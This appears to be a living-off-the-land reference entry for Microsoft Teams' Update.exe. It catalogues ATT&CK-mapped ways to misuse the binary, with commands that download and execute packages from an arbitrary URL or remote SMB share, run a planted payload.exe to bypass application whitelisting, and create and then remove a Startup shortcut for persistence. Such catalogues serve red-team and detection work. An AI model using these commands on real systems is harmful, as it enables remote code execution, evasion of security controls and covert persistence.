.. /Update.exe
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Download
AWL bypass
Execute

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.


Paths:

Resources:
Acknowledgements:

Detection:

Download

  1. The above binary will go to url and look for RELEASES file and download the nuget package.

    Update.exe --download [url to package]
    Use case
    Download binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

AWL bypass

  1. The above binary will go to url and look for RELEASES file, download and install the nuget package.

    Update.exe --update=[url to package]
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  2. The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

    Update.exe --update=\\remoteserver\payloadFolder
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  3. The above binary will go to url and look for RELEASES file, download and install the nuget package.

    Update.exe --updateRollback=[url to package]
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  4. Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

    Update.exe --processStart payload.exe --process-start-args "whatever args"
    Use case
    Application Whitelisting Bypass
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  5. The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

    Update.exe --updateRollback=\\remoteserver\payloadFolder
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

Execute

  1. The above binary will go to url and look for RELEASES file, download and install the nuget package.

    Update.exe --update=[url to package]
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  2. The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

    Update.exe --update=\\remoteserver\payloadFolder
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  3. The above binary will go to url and look for RELEASES file, download and install the nuget package.

    Update.exe --updateRollback=[url to package]
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  4. The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

    Update.exe --updateRollback=\\remoteserver\payloadFolder
    Use case
    Download and execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  5. Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

    Update.exe --processStart payload.exe --process-start-args "whatever args"
    Use case
    Execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1218

  6. Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a payload.exe shortcut in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

    Update.exe --createShortcut=payload.exe -l=Startup
    Use case
    Execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1547

  7. Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

    Update.exe --removeShortcut=payload.exe -l=Startup
    Use case
    Execute binary
    Privileges required
    User
    Operating systems
    Windows 7 and up with Microsoft Teams installed
    ATT&CK® technique
    T1070